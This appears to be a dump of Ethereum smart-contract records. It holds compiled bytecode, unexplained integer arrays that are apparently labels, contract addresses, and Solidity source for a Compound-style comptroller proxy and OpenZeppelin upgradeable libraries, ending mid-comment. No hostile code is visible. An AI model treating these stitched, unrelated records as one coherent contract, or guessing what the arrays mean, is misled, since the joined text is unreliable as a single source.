634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b606060018054610ae490613a6b565b600a546001600160a01b03163314611dca5760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff1615611ded5760405162461bcd60e51b8152600401610bdc90613793565b602280546001600160a01b0319166001600160a01b0392909216919091179055565b600a546001600160a01b03163314611e395760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff1615611e5c5760405162461bcd60e51b8152600401610bdc90613793565b601f5460ff1615611e7f5760405162461bcd60e51b8152600401610bdc90613793565b602380546001600160a01b0319166001600160a01b0392909216919091179055565b60026012541415611ec45760405162461bcd60e51b8152600401610bdc90613975565b600260125560135460ff1615611eec5760405162461bcd60e51b8152600401610bdc906138c5565b60008111611f2d5760405162461bcd60e51b815260206004820152600e60248201526d63616e6e6f74206265207a65726f60901b6044820152606401610bdc565b60165481601854611f3e91906139dd565b1115611f7d5760405162461bcd60e51b815260206004820152600e60248201526d4578636565647320737570706c7960901b6044820152606401610bdc565b80601554611f8b9190613a09565b3414611fca5760405162461bcd60e51b815260206004820152600e60248201526d09cdee840cadcdeeaced040cae8d60931b6044820152606401610bdc565b60005b81811015611ff957611fe7338260185461123191906139dd565b80611ff181613aa6565b915050611fcd565b508060186000828254610f8891906139dd565b61179633838361292c565b61202133836124fc565b61203d5760405162461bcd60e51b8152600401610bdc90613924565b612049848484846129fb565b50505050565b600260125414156120725760405162461bcd60e51b8152600401610bdc90613975565b6002601255600a546001600160a01b031633146120a15760405162461bcd60e51b8152600401610bdc906138ef565b60005b818110156120e2576120be338260185461123191906139dd565b6120d0338260165461123191906139dd565b806120da81613aa6565b9150506120a4565b50506001601255565b6000818152600260205260409020546060906001600160a01b031661215c5760405162461bcd60e51b815260206004820152602160248201527f4552433732314d657461646174613a204e6f6e6578697374656e7420746f6b656044820152603760f91b6064820152608401610bdc565b6000612166612a2e565b9050600081511161218657604051806020016040528060008152506121b1565b8061219084612a3d565b6040516020016121a19291906136ce565b6040516020818303038152906040525b9392505050565b600080601d54116121c857600080fd5b601e5442106121d85750601b5490565b6000601d546121e44290565b6121ee9190613a28565b90506000601c548261220091906139f5565b90506000816020546122129190613a09565b905080601a546122229190613a28565b935050505090565b600a546001600160a01b031633146122545760405162461bcd60e51b8152600401610bdc906138ef565b6001600160a01b0381166122b95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bdc565b6122c281612882565b50565b60006001600160e01b031982166380ac58cd60e01b14806122f657506001600160e01b03198216635b5e139f60e01b145b80610acf57506301ffc9a760e01b6001600160e01b0319831614610acf565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061234a8261179a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600b546001600160a01b0384166000908152600d6020526040812054909183916123ad9086613a09565b6123b791906139f5565b6123c19190613a28565b949350505050565b804710156124195760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610bdc565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612466576040519150601f19603f3d011682016040523d82523d6000602084013e61246b565b606091505b5050905080610d125760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610bdc565b611796828260405180602001604052806000815250612b57565b6000818152600260205260408120546001600160a01b03166125755760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610bdc565b60006125808361179a565b9050806001600160a01b0316846001600160a01b031614806125bb5750836001600160a01b03166125b084610b67565b6001600160a01b0316145b806123c157506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff16949350505050565b826001600160a01b03166126058261179a565b6001600160a01b03161461266d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610bdc565b6001600160a01b0382166126cf5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610bdc565b6126da838383612b8a565b6126e5600082612315565b6001600160a01b038316600090815260036020526040812080546001929061270e908490613a28565b90915550506001600160a01b038216600090815260036020526040812080546001929061273c9084906139dd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60135460ff166127e65760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610bdc565b6013805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d12908490612c42565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60135460ff16156128f75760405162461bcd60e51b8152600401610bdc906138c5565b6013805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586128133390565b816001600160a01b0316836001600160a01b0316141561298e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610bdc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b612a068484846125f2565b612a1284848484612d14565b6120495760405162461bcd60e51b8152600401610bdc906137b3565b606060148054610ae490613a6b565b606081612a615750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612a8b5780612a7581613aa6565b9150612a849050600a836139f5565b9150612a65565b60008167ffffffffffffffff811115612ab457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612ade576020820181803683370190505b5090505b84156123c157612af3600183613a28565b9150612b00600a86613ac1565b612b0b9060306139dd565b60f81b818381518110612b2e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612b50600a866139f5565b9450612ae2565b612b618383612e21565b612b6e6000848484612d14565b610d125760405162461bcd60e51b8152600401610bdc906137b3565b6001600160a01b038316612be557612be081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612c08565b816001600160a01b0316836001600160a01b031614612c0857612c088382612f6f565b6001600160a01b038216612c1f57610d128161300c565b826001600160a01b0316826001600160a01b031614610d1257610d1282826130e5565b6000612c97826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166131299092919063ffffffff16565b805190915015610d125780806020019051810190612cb59190613536565b610d125760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610bdc565b60006001600160a01b0384163b15612e1657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612d5890339089908890889060040161370d565b602060405180830381600087803b158015612d7257600080fd5b505af1925050508015612da2575060408051601f3d908101601f19168201909252612d9f9181019061356e565b60015b612dfc573d808015612dd0576040519150601f19603f3d011682016040523d82523d6000602084013e612dd5565b606091505b508051612df45760405162461bcd60e51b8152600401610bdc906137b3565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506123c1565b506001949350505050565b6001600160a01b038216612e775760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610bdc565b6000818152600260205260409020546001600160a01b031615612edc5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610bdc565b612ee860008383612b8a565b6001600160a01b0382166000908152600360205260408120805460019290612f119084906139dd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001612f7c84611b2a565b612f869190613a28565b600083815260076020526040902054909150808214612fd9576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061301e90600190613a28565b6000838152600960205260408120546008805493945090928490811061305457634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061308357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806130c957634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006130f083611b2a565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b60606123c1848460008585843b6131825760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610bdc565b600080866001600160a01b0316858760405161319e91906136b2565b60006040518083038185875af1925050503d80600081146131db576040519150601f19603f3d011682016040523d82523d6000602084013e6131e0565b606091505b50915091506131f08282866131fb565b979650505050505050565b6060831561320a5750816121b1565b82511561321a5782518084602001fd5b8160405162461bcd60e51b8152600401610bdc9190613780565b82805461324090613a6b565b90600052602060002090601f01602090048101928261326257600085556132a8565b82601f1061327b57805160ff19168380011785556132a8565b828001600101855582156132a8579182015b828111156132a857825182559160200191906001019061328d565b506132b49291506132b8565b5090565b5b808211156132b457600081556001016132b9565b600067ffffffffffffffff8311156132e7576132e7613b01565b6132fa601f8401601f19166020016139ac565b905082815283838301111561330e57600080fd5b828260208301376000602084830101529392505050565b600060208284031215613336578081fd5b81356121b181613b17565b60008060408385031215613353578081fd5b823561335e81613b17565b9150602083013561336e81613b17565b809150509250929050565b60008060006060848603121561338d578081fd5b833561339881613b17565b925060208401356133a881613b17565b929592945050506040919091013590565b600080600080608085870312156133ce578081fd5b84356133d981613b17565b935060208501356133e981613b17565b925060408501359150606085013567ffffffffffffffff81111561340b578182fd5b8501601f8101871361341b578182fd5b61342a878235602084016132cd565b91505092959194509250565b60008060408385031215613448578182fd5b823561345381613b17565b9150602083013561336e81613b2c565b60008060408385031215613475578182fd5b823561348081613b17565b946020939093013593505050565b600060208083850312156134a0578182fd5b823567ffffffffffffffff808211156134b7578384fd5b818501915085601f8301126134ca578384fd5b8135818111156134dc576134dc613b01565b8060051b91506134ed8483016139ac565b8181528481019084860184860187018a1015613507578788fd5b8795505b8386101561352957803583526001959095019491860191860161350b565b5098975050505050505050565b600060208284031215613547578081fd5b81516121b181613b2c565b600060208284031215613563578081fd5b81356121b181613b3a565b60006020828403121561357f578081fd5b81516121b181613b3a565b60008060408385031215613353578182fd5b6000602082840312156135ad578081fd5b813567ffffffffffffffff8111156135c3578182fd5b8201601f810184136135d3578182fd5b6123c1848235602084016132cd565b6000602082840312156135f3578081fd5b5035919050565b60006020828403121561360b578081fd5b5051919050565b600080600080600060a08688031215613629578283fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000815180845260208085019450808401835b8381101561367b5781518752958201959082019060010161365f565b509495945050505050565b6000815180845261369e816020860160208601613a3f565b601f01601f19169290920160200192915050565b600082516136c4818460208701613a3f565b9190910192915050565b600083516136e0818460208801613a3f565b8351908301906136f4818360208801613a3f565b64173539b7b760d91b9101908152600501949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061374090830184613686565b9695505050505050565b6001600160a01b038416815260606020820181905260009061376e9083018561364c565b8281036040840152613740818561364c565b6020815260006121b16020830184613686565b602080825260069082015265131bd8dad95960d21b604082015260600190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526015908201527443616e6e6f74206578636565647320737570706c7960581b604082015260600190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156139d5576139d5613b01565b604052919050565b600082198211156139f0576139f0613ad5565b500190565b600082613a0457613a04613aeb565b500490565b6000816000190483118215151615613a2357613a23613ad5565b500290565b600082821015613a3a57613a3a613ad5565b500390565b60005b83811015613a5a578181015183820152602001613a42565b838111156120495750506000910152565b600181811c90821680613a7f57607f821691505b60208210811415613aa057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613aba57613aba613ad5565b5060010190565b600082613ad057613ad0613aeb565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146122c257600080fd5b80151581146122c257600080fd5b6001600160e01b0319811681146122c257600080fdfea26469706673582212200e03e589b3956ffcf29f027cae351278f5466ab2abebc3ca5d58bcfacd26699c64736f6c63430008040033
[ 5, 4, 9, 7 ]
0xf22874F4aC836f23379f5dbd08dCA79afC523396
pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title Comptroller Proxy * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * GTokens should reference this contract as their comptroller. */ contract ComptrollerProxy is ProxyAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
0x60806040526004361061007b5760003560e01c8063dcfbc0c71161004e578063dcfbc0c71461019e578063e992a041146101b3578063e9c714f2146101e6578063f851a440146101fb5761007b565b806326782247146100fe578063b71d1a0c1461012f578063bb82aa5e14610174578063c1e8033414610189575b6002546040516000916001600160a01b031690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100de576040519150601f19603f3d011682016040523d82523d6000602084013e6100e3565b606091505b505090506040513d6000823e8180156100fa573d82f35b3d82fd5b34801561010a57600080fd5b50610113610210565b604080516001600160a01b039092168252519081900360200190f35b34801561013b57600080fd5b506101626004803603602081101561015257600080fd5b50356001600160a01b031661021f565b60408051918252519081900360200190f35b34801561018057600080fd5b506101136102b0565b34801561019557600080fd5b506101626102bf565b3480156101aa57600080fd5b506101136103ba565b3480156101bf57600080fd5b50610162600480360360208110156101d657600080fd5b50356001600160a01b03166103c9565b3480156101f257600080fd5b5061016261044d565b34801561020757600080fd5b50610113610533565b6001546001600160a01b031681565b600080546001600160a01b031633146102455761023e6001600e610542565b90506102ab565b600180546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a9929181900390910190a160005b9150505b919050565b6002546001600160a01b031681565b6003546000906001600160a01b0316331415806102e557506003546001600160a01b0316155b156102fc576102f5600180610542565b90506103b7565b60028054600380546001600160a01b038082166001600160a01b031980861682179687905590921690925560408051938316808552949092166020840152815190927fd604de94d45953f9138079ec1b82d533cb2160c906d1076d1f7ed54befbca97a92908290030190a1600354604080516001600160a01b038085168252909216602083015280517fe945ccee5d701fc83f9b8aa8ca94ea4219ec1fcbd4f4cab4f0ea57c5c3e1d8159281900390910190a160005b925050505b90565b6003546001600160a01b031681565b600080546001600160a01b031633146103e85761023e6001600f610542565b600380546001600160a01b038481166001600160a01b0319831617928390556040805192821680845293909116602083015280517fe945ccee5d701fc83f9b8aa8ca94ea4219ec1fcbd4f4cab4f0ea57c5c3e1d8159281900390910190a160006102a7565b6001546000906001600160a01b031633141580610468575033155b15610479576102f560016000610542565b60008054600180546001600160a01b038082166001600160a01b031980861682179687905590921690925560408051938316808552949092166020840152815190927ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc92908290030190a1600154604080516001600160a01b038085168252909216602083015280517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a99281900390910190a160006103b2565b6000546001600160a01b031681565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083601181111561057157fe5b83601381111561057d57fe5b604080519283526020830191909152600082820152519081900360600190a18260118111156105a857fe5b939250505056fea265627a7a723158201bd61006df3b19fb909ad72eede22ef51e20e04bead7439a7919a8b482c68a8364736f6c63430005100032
[ 7, 15, 17, 9, 12 ]
0xf228BF1F8d11Dc1555fc096a7ab6FCd238f1ED6B
pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's 